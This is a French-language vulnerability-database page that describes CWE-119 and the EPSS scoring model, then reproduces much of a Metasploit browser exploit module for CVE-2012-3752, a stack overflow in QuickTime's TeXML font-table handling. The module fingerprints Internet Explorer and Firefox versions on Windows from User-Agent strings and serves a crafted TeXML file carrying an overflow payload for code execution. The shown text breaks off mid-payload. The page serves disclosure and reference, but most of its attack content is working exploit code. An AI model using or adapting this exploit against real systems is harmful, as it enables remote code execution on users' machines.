Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

When handling a TeXML file, it is possible to trigger a stack-based buffer overflow, and then gain arbitrary code execution under the context of the user. This is due to the QuickTime3GPP.gtx component not handling certain Style subfields properly, as the font-table field, which is used to trigger the overflow in this module. Because of QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista). }, 'Author' => [ 'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery 'juan vazquez' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '87087' ], [ 'CVE', '2012-3752' ], [ 'BID', '56557' ], [ 'URL', 'http://support.apple.com/kb/HT5581' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1000, }, 'Platform' => 'win', 'Targets' => [ # Tested with QuickTime 7.7.2 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', {} ], [ 'Firefox 3.5 on Windows XP SP3', {} ], [ 'Firefox 3.5.1 on Windows XP SP3', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Nov 07 2012', 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' browser_name = "" if agent =~ /MSIE/ browser_version = agent.scan(/MSIE (\d)/).flatten[0] || '' browser_name = "IE #{browser_version}" elsif agent =~ /Firefox\/3.5$/ browser_name = "Firefox 3.5 " elsif agent =~ /Firefox\/3.5.1$/ browser_name = "Firefox 3.5.1" elsif agent =~ /Opera\/9/ browser_name = "Opera" end case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def on_request_uri(client, request) return if ((p = regenerate_payload(client)) == nil) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if request.uri =~ /\.3gp/ print_status("Sending exploit TEXML (target: #{my_target.name})") my_payload = "1" * (1024*16) texml = <<-eos <?xml version="1.0"?> <?quicktime type="application/x-quicktime-texml"?> <text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1" language="eng" timeScale="600" transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)"> <sample duration="2400" keyframe="true"> <description format="tx3g" displayFlags="ScrollIn" horizontalJustification="Left" verticalJustification="Top" backgroundColor="0%, 0%, 0%, 100%"> <defaultTextBox x="0" y="0" width="176" height="60"/> <fontTable> <font id="1" name="Times"/> </fontTable> <sharedStyles> <style id="1"> {font-table: #{my_payload}} {font-style:normal} {font-weight: normal} {font-size: 10} {line-height: 100%} {text-align: right} {text-decoration: underline} {color: 100%, 100%, 100%, 100%} {backgroundcolor: 100%, 100%, 100%, 100%} </style> </sharedStyles> </description> <sampleData scrollDelay="200" highlightColor="25%, 45%, 65%, 100%" targetEncoding="utf8"> <textBox x="10" y="10" width="156" height="40"/> <text styleID="1">What you need...
